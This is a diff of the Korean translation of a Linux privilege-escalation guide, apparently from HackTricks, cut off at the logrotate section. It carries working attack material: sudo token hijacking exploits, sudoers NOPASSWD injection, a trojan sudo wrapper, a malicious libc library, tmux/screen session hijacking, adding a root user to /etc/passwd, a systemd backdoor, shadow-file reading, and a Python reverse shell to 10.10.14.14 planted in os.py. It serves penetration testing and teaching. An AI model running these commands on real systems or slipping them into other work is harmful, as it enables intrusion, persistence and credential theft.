./suid_bin: undefined symbol: a_function_name ``` -이는 생성한 라이브러리에 `a_function_name`이라는 함수가 있어야 한다는 의미입니다. +즉, 생성한 라이브러리는 `a_function_name`이라는 함수를 포함해야 합니다. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 는 공격자가 로컬 보안 제한을 우회하는 데 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령어에 **인수만 주입할 수 있는** 경우에 대한 동일한 자료입니다. +[**GTFOBins**](https://gtfobins.github.io) 는 공격자가 로컬 보안 제약을 우회하기 위해 악용할 수 있는 Unix 바이너리를 정리한 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우에 관한 동일한 자료입니다. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +이 프로젝트는 제한된 쉘을 탈출하고 권한을 상승하거나 유지하며, 파일을 전송하고 spawn bind and reverse shells를 생성하며 기타 포스트-익스플로잇 작업을 용이하게 만드는 Unix 바이너리의 정당한 기능들을 수집합니다. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -924,49 +949,48 @@ https://gtfoargs.github.io/ If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. -### Sudo 토큰 재사용 +### Reusing Sudo Tokens -비밀번호는 없지만 **sudo access**가 있는 경우, **sudo 명령 실행을 기다렸다가 세션 토큰을 가로채는** 방식으로 권한을 상승시킬 수 있습니다. +비밀번호는 없지만 **sudo access**가 있는 경우, **sudo 명령 실행을 기다렸다가 세션 토큰을 하이재킹**하여 권한을 상승시킬 수 있습니다. -권한 상승 요구사항: +권한 상승을 위한 요구사항: -- 이미 사용자 "_sampleuser_"로 셸을 가지고 있어야 합니다 -- "_sampleuser_"는 **`sudo`를 사용**하여 **마지막 15분** 이내에 무언가를 실행했어야 합니다(기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 기간입니다) -- `cat /proc/sys/kernel/yama/ptrace_scope`가 0이어야 합니다 -- `gdb`에 접근할 수 있어야 합니다(업로드할 수 있어야 함) +- 이미 사용자 "_sampleuser_"로 쉘을 가지고 있어야 합니다 +- "_sampleuser_"는 **`sudo`를 사용해** 최근 **15분 이내**에 무언가를 실행한 적이 있어야 합니다 (기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해 주는 sudo 토큰의 지속 시간입니다) +- `cat /proc/sys/kernel/yama/ptrace_scope` 이 0 이어야 합니다 +- `gdb`에 접근할 수 있어야 합니다 (업로드할 수 있어야 함) -(임시로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정하면 됩니다) +(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정해 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다) -이 모든 요구사항이 충족되면, **다음을 사용해 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +위 조건들이 모두 충족되면, **다음 도구를 사용해 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 첫 번째 익스플로잇 (`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용해 **세션에서 sudo 토큰을 활성화**할 수 있습니다(자동으로 root 쉘이 주어지지는 않습니다. `sudo su`를 실행하세요): +- The **first exploit** (`exploit.sh`)는 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용해 **세션에서 sudo 토큰을 활성화**할 수 있습니다 (자동으로 root shell을 얻지는 못합니다, `sudo su`를 실행하세요): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **두 번째 exploit** (`exploit_v2.sh`) 는 _/tmp_에 **root가 소유하고 setuid가 설정된** sh shell을 생성합니다 +- **두 번째 exploit** (`exploit_v2.sh`)는 _/tmp_에 sh shell을 생성하며, 이 sh shell은 **root가 소유하고 setuid가 설정된** 상태입니다 ```bash bash exploit_v2.sh /tmp/sh -p ``` -- The **third exploit** (`exploit_v3.sh`)는 **sudoers file**을 생성하여 **sudo tokens**을 영구적으로 만들고 모든 사용자가 **sudo**를 사용할 수 있게 합니다 +- **세 번째 exploit** (`exploit_v3.sh`)는 **sudoers file을 생성**하여 **sudo tokens를 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용합니다** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -폴더 내 또는 폴더 안에 생성된 파일들에 대해 **쓰기 권한**이 있다면 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)를 사용해 **사용자와 PID에 대한 sudo token을 생성할 수 있습니다**.\ -예를 들어 파일 _/var/run/sudo/ts/sampleuser_를 덮어쓸 수 있고 그 사용자로 PID 1234인 셸을 가지고 있다면, 비밀번호를 알 필요 없이 다음과 같이 **sudo 권한을 얻을 수 있습니다**: +폴더 또는 그 안에 생성된 파일들에 대해 **쓰기 권한**이 있다면 이 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용해 **사용자와 PID에 대한 sudo token을 생성**할 수 있습니다.\ +예를 들어, 파일 _/var/run/sudo/ts/sampleuser_를 덮어쓸 수 있고 해당 사용자로 PID 1234인 셸을 가지고 있다면, 비밀번호를 알 필요 없이 다음과 같이 실행하여 **sudo 권한을 획득**할 수 있습니다: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -`/etc/sudoers` 파일과 `/etc/sudoers.d` 안의 파일들은 누가 `sudo`를 어떻게 사용할 수 있는지 설정합니다. -이 파일들은 **기본적으로 user root와 group root만 읽을 수 있습니다**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. +파일 `/etc/sudoers`와 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있고 어떻게 사용할지를 구성합니다. 이 파일들은 **by default can only be read by user root and group root**.\ +**If** 이 파일을 **read**할 수 있다면 **obtain some interesting information**를 얻을 수 있고, 어떤 파일에든 **write**할 수 있다면 **escalate privileges**할 수 있습니다. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -976,7 +1000,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -이러한 권한을 악용하는 또 다른 방법: +이 권한들을 악용하는 또 다른 방법: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -985,17 +1009,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD용 `doas` 등 `sudo` 바이너리의 대안이 있으니 `/etc/doas.conf`에서 설정을 확인하세요. +OpenBSD용 `doas`와 같이 `sudo` 바이너리의 몇 가지 대안이 있습니다. 구성 파일은 `/etc/doas.conf`에서 확인하세요. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -만약 **사용자가 일반적으로 머신에 접속하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트에서 셸을 얻었다면, 루트로서 먼저 당신의 코드를 실행한 뒤 사용자의 명령을 실행하는 **새로운 sudo 실행파일을 만들 수 있습니다**. 그런 다음 사용자 컨텍스트의 **$PATH를 수정**(예: 새로운 경로를 .bash_profile에 추가)하면 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행됩니다. +특정 **user가 보통 machine에 접속해 `sudo`로 권한을 상승시키는 것을 알고 있고**, 해당 user 컨텍스트로 shell을 얻었다면, **새로운 sudo 실행 파일을 만들어** 먼저 당신의 코드를 root로 실행하고 그 다음 사용자 명령을 실행하게 할 수 있다. 그런 다음 해당 user 컨텍스트의 **$PATH**를 수정(예: .bash_profile에 새 경로 추가)하면 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행된다. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -또는 다음과 같이 실행할 수 있습니다: +또는 다음과 같이 실행하는 방법도 있다: ```bash cat >/tmp/sudo < (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -그런 다음 `/var/tmp`에 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`로 악성 라이브러리를 만듭니다. +그런 다음 `/var/tmp`에 악성 라이브러리를 생성합니다: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1058,44 +1083,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## 권한 (Capabilities) +## Capabilities -Linux capabilities는 프로세스에 사용 가능한 root 권한의 **부분 집합**을 제공합니다. 이는 root **권한을 더 작고 구별되는 단위들로 분리**하는 효과가 있습니다. 이러한 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이로써 전체 권한 집합이 축소되어 악용 위험이 감소합니다.\ -다음 페이지를 읽어 **capabilities 및 이를 악용하는 방법**에 대해 더 알아보세요: +Linux capabilities는 프로세스에 부여되는 사용 가능한 root privileges의 **하위 집합(subset)** 을 제공합니다. 이것은 root 권한을 **작고 구분되는 단위들로 분해**하는 효과가 있습니다. 이러한 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이로 인해 전체 권한 집합이 축소되어 exploitation의 위험이 줄어듭니다.\ +다음 페이지를 읽어 **capabilities와 이를 악용하는 방법**에 대해 더 알아보세요: {{#ref}} linux-capabilities.md {{#endref}} -## 디렉터리 권한 +## Directory permissions -디렉터리에서, **"execute" 비트**는 해당 사용자가 "**cd**"로 폴더에 들어갈 수 있음을 의미합니다.\ -**"read"** 비트는 사용자가 **파일을 나열(list)**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **파일을 삭제(delete)**하거나 **새 파일을 생성(create)**할 수 있음을 의미합니다. +디렉토리에서, **bit for "execute"** 는 해당 사용자가 폴더로 **"cd"** 할 수 있음을 의미합니다.\ +**"read"** 비트는 사용자가 **list** 할 수 있음을 의미하고, **"write"** 비트는 사용자가 **delete** 및 새 **files** 를 **create** 할 수 있음을 의미합니다. ## ACLs -Access Control Lists (ACLs)는 재량적 권한의 보조 계층을 나타내며, 전통적인 ugo/rwx 권한을 **overriding**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉터리 접근 제어를 향상시킵니다. 이 수준의 **granularity**는 보다 정밀한 접근 관리를 보장합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)를 참조하세요. +Access Control Lists (ACLs)는 임의 권한의 2차 계층을 나타내며, 전통적인 ugo/rwx 권한을 **overriding** 할 수 있습니다. 이러한 권한은 소유자나 그룹의 일부가 아닌 특정 사용자에게 접근 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근 제어를 보다 세밀하게 강화합니다. 이 수준의 **granularity는 보다 정밀한 접근 관리**를 보장합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요. -**부여**: 사용자 "kali"에게 파일에 대한 읽기 및 쓰기 권한: +**Give** 사용자 "kali"에게 파일에 대한 read 및 write 권한을 부여: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**가져오기** 시스템에서 특정 ACLs를 가진 파일들: +**가져오기** 시스템에서 특정 ACLs를 가진 파일: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## shell 세션 열기 +## 열린 shell sessions -**구버전**에서는 다른 사용자(**root**)의 일부 **shell** 세션을 **hijack**할 수 있습니다.\ -**최신 버전**에서는 **connect**가 오직 **자신의 사용자**의 screen sessions에만 가능합니다. 그러나 **세션 내부의 흥미로운 정보**를 찾을 수 있습니다. +**이전 버전**에서는 다른 사용자(**root**)의 일부 **shell** session을 **hijack**할 수 있습니다.\ +**최신 버전**에서는 **your own user**의 screen sessions에만 **connect**할 수 있습니다. 하지만 **세션 내부의 흥미로운 정보**를 찾을 수 있습니다. ### screen sessions hijacking -**screen sessions 목록** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1108,9 +1133,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## tmux 세션 가로채기 -이 문제는 **오래된 tmux 버전**에서 발생했습니다. root가 생성한 tmux (v2.1) 세션을 non-privileged user로서 hijack할 수 없었습니다. +이는 **old tmux versions**의 문제였습니다. 권한이 없는 사용자로서 root가 생성한 tmux (v2.1) 세션을 가로챌 수 없었습니다. **tmux 세션 나열** ```bash @@ -1120,7 +1145,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**session에 연결** +**세션에 연결** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1130,43 +1155,43 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +예시로 **Valentine box from HTB**를 확인하세요. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006년 9월부터 2008년 5월 13일 사이에 Debian 계열 시스템(예: Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ -이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하는데, **가능한 경우가 단지 32,768개에 불과했기 때문입니다**. 이는 모든 가능한 키를 계산할 수 있다는 것을 의미하며, **ssh public key를 가지고 있으면 해당하는 private key를 검색할 수 있습니다**. 계산된 가능한 키 목록은 다음에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생하는데, **가능한 경우의 수가 단 32,768가지뿐이었기 때문**입니다. 즉 모든 경우의 수를 계산할 수 있으며 **ssh public key를 알고 있다면 해당 private key를 검색할 수 있습니다**. 계산된 경우의 수는 다음에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 흥미로운 구성 값 +### SSH Interesting configuration values -- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. -- **PubkeyAuthentication:** public key 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. -- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 비어 있는 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PasswordAuthentication:** 패스워드 인증을 허용할지 여부를 지정합니다. 기본값은 `no`입니다. +- **PubkeyAuthentication:** public key authentication을 허용할지 여부를 지정합니다. 기본값은 `yes`입니다. +- **PermitEmptyPasswords**: 패스워드 인증이 허용될 때, 서버가 빈 문자열인 패스워드를 가진 계정으로의 로그인을 허용할지 여부를 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin -root가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 `no`입니다. 가능한 값: +root가 ssh로 로그인할 수 있는지 여부를 지정합니다(기본값 `no`). 가능한 값: -- `yes`: root는 비밀번호와 private key를 사용해 로그인할 수 있습니다 -- `without-password` 또는 `prohibit-password`: root는 private key로만 로그인할 수 있습니다 -- `forced-commands-only`: root는 private key로만 로그인할 수 있으며 commands 옵션이 지정된 경우에만 가능합니다 -- `no` : 허용 안함 +- `yes`: root가 password와 private key를 사용해 로그인할 수 있습니다. +- `without-password` or `prohibit-password`: root는 private key로만 로그인할 수 있습니다. +- `forced-commands-only`: root는 private key로만 로그인할 수 있으며, commands 옵션이 지정된 경우에만 허용됩니다. +- `no` : root 로그인 불가 ### AuthorizedKeysFile -사용자 인증에 사용할 수 있는 public keys를 포함하는 파일을 지정합니다. `%h` 같은 토큰을 포함할 수 있으며, 이는 홈 디렉터리로 대체됩니다. **절대 경로를 지정할 수 있습니다** (경로가 `/`로 시작) 또는 **사용자 홈을 기준으로 한 상대 경로**. 예: +AuthorizedKeysFile 설정은 사용자 인증에 사용할 수 있는 public keys를 포함한 파일들을 지정합니다. `%h` 같은 토큰을 포함할 수 있으며, 이 토큰은 사용자의 home 디렉토리로 치환됩니다. **절대 경로를 지정할 수 있습니다** (루트 `/`로 시작) 또는 **사용자 홈에서의 상대 경로**를 지정할 수 있습니다. 예: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 하면 ssh가 당신 키의 public key를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 키들과 비교할 것임을 나타냅니다. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding을 사용하면 서버에 keys (without passphrases!)를 남겨두는 대신 **use your local SSH keys instead of leaving keys**할 수 있습니다. 따라서 ssh로 **jump**하여 **to a host**에 접속한 뒤, 거기서 **jump to another** host할 때 **initial host**에 있는 **key**를 **using**할 수 있습니다. +SSH agent forwarding은 서버에 (without passphrases!) 키를 두지 않고도 **use your local SSH keys instead of leaving keys** 할 수 있게 해줍니다. 따라서 ssh를 통해 **jump** **to a host** 할 수 있고, 그곳에서 **jump to another** 호스트를 **using** 해당 **key**가 위치한 당신의 **initial host**를 이용해 접근할 수 있습니다. -You need to set this option in `$HOME/.ssh.config` like this: +이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다: ``` Host example.com ForwardAgent yes @@ -1183,73 +1208,73 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## 흥미로운 파일들 +## 흥미로운 파일 ### 프로필 파일 -파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 사용자가 새 쉘을 실행할 때 실행되는 **스크립트들입니다**. 따라서, 이들 중 어느 하나라도 **작성하거나 수정할 수 있다면 권한 상승이 가능합니다**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -이상한 프로필 스크립트가 발견되면 **민감한 세부 정보**를 확인해야 합니다. +이상한 프로필 스크립트가 발견되면 **민감한 정보**가 있는지 확인해야 합니다. ### Passwd/Shadow 파일 -OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일은 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾아서** **읽을 수 있는지 확인**하여 파일 내부에 **hashes**가 있는지 확인하는 것이 좋습니다: +OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업본이 있을 수 있습니다. 따라서 **모두 찾고**, **읽을 수 있는지 확인하여** 파일 내부에 **해시가 있는지** 확인하는 것이 권장됩니다: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -간혹 `/etc/passwd` (또는 동등한 파일) 안에서 **password hashes**를 찾을 수 있습니다. +어떤 경우에는 **password hashes**를 `/etc/passwd` (또는 동등한) 파일 안에서 찾을 수 있습니다. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 쓰기 가능한 /etc/passwd -먼저, 다음 명령어들 중 하나로 password를 생성합니다. +먼저, 다음 명령어 중 하나로 비밀번호를 생성합니다. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 설정합니다. +그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 설정하세요. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -이제 `su` 명령으로 `hacker:hacker`를 사용할 수 있습니다 +이제 `su` 명령을 `hacker:hacker`로 사용할 수 있습니다. -또는 다음 줄을 사용하여 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\ -경고: 이로 인해 시스템의 현재 보안이 약화될 수 있습니다. +또는, 다음 줄을 사용하여 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\\ +경고: 현재 시스템의 보안이 저하될 수 있습니다. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` 참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. -**몇몇 민감한 파일에 쓰기**가 가능한지 확인해야 합니다. 예를 들어, 어떤 **서비스 구성 파일**에 쓸 수 있나요? +일부 민감한 파일에 **쓰기가 가능한지** 확인해야 합니다. 예를 들어, 일부 **서비스 구성 파일**에 쓸 수 있습니까? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 를 수정할 수 있다면, 다음 라인들을 수정할 수 있습니다: +예를 들어, 머신에서 **tomcat** 서버가 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 라면 다음 줄들을 수정할 수 있습니다: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -당신의 백도어는 tomcat이 다음에 시작될 때 실행됩니다. +당신의 backdoor는 tomcat이 다음에 시작될 때 실행됩니다. -### Check Folders +### 폴더 확인 -다음 폴더들은 백업이나 흥미로운 정보를 포함하고 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 항목은 읽을 수 없을 가능성이 높지만 시도해 보세요) +다음 폴더에는 백업이나 흥미로운 정보가 들어있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 것은 읽을 수 없을 가능성이 높지만 시도해보세요) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 이상한 위치/Owned 파일 +### 이상한 위치/Owned 파일들 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1298,22 +1323,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 비밀번호를 포함할 수 있는 알려진 파일 +### 비밀번호를 포함할 수 있는 알려진 파일들 -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 보면 **비밀번호를 포함할 가능성이 있는 여러 파일**을 검색한다.\ -**또 다른 흥미로운 도구**로는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)가 있는데, 이는 Windows, Linux & Mac용 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션이다. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **비밀번호를 포함할 수 있는 여러 가능한 파일들**을 검색합니다.\ +이와 관련해 사용할 수 있는 **또 다른 흥미로운 도구**는: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, Windows, Linux & Mac에 로컬로 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다. -### 로그 +### Logs -로그를 읽을 수 있다면 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있다. 로그가 더 이상할수록 더 흥미로울 가능성이 높다(아마도).\ -또한, 일부 **잘못** 구성된 (backdoored?) **audit logs**는 이 글에서 설명된 것처럼 audit logs 내부에 **비밀번호를 기록**할 수 있게 할 수도 있다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +로그를 읽을 수 있다면 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있습니다. 로그가 더 이상할수록(아마도) 더 흥미로울 가능성이 큽니다.\ +또한, 일부 **bad**로 구성된 (backdoored?) **audit logs**는 이 게시물에 설명된 것처럼 audit logs 내부에 비밀번호를 **기록**하도록 허용할 수 있습니다: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -로그를 읽기 위해서는 **로그를 읽을 수 있는 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)이 정말 도움이 됩니다. +**로그를 읽기 위한 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)은 매우 도움이 됩니다. -### 쉘 파일 +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1324,61 +1349,61 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### 일반적인 Creds 검색/Regex +### Generic Creds Search/Regex -파일의 **이름**이나 **내용**에 "**password**"라는 단어가 포함되어 있는 파일도 확인해야 하며, 로그 내부의 IPs와 emails, 또는 hashes regexps도 검사하세요.\ -이 모든 방법을 여기서 전부 설명하지는 않겠지만 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 체크들을 확인해 보세요. +또한 파일의 **이름**이나 **내용** 안에 "**password**"라는 단어가 포함된 파일을 확인해야 하며, 로그 내의 IP나 이메일 또는 해시 정규식도 확인하세요.\ +여기서 이 모든 방법을 어떻게 수행하는지 전부 나열하지는 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사들을 확인해 보세요. ## 쓰기 가능한 파일 ### Python library hijacking -어떤 위치에서 **python script**가 실행될지 알고 해당 폴더에 **쓰기가 가능한 경우**(**can write inside**) 또는 **modify python libraries**할 수 있다면, OS 라이브러리를 수정해 backdoor를 심을 수 있습니다 (python script가 실행되는 위치에 쓰기가 가능하다면 os.py 라이브러리를 복사해 붙여넣으세요). +만약 어떤 python 스크립트가 **어디에서** 실행될지 알고 그 폴더에 **쓸 수 있다**거나 **python 라이브러리를 수정할 수 있다**면, OS 라이브러리를 수정해 backdoor할 수 있습니다 (python 스크립트가 실행되는 위치에 쓸 수 있다면, os.py 라이브러리를 복사해서 붙여넣으세요). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +라이브러리에 **backdoor the library** 하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요 (IP와 PORT를 변경하세요): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 악용 +### logrotate 취약점 악용 -`logrotate`의 취약점으로 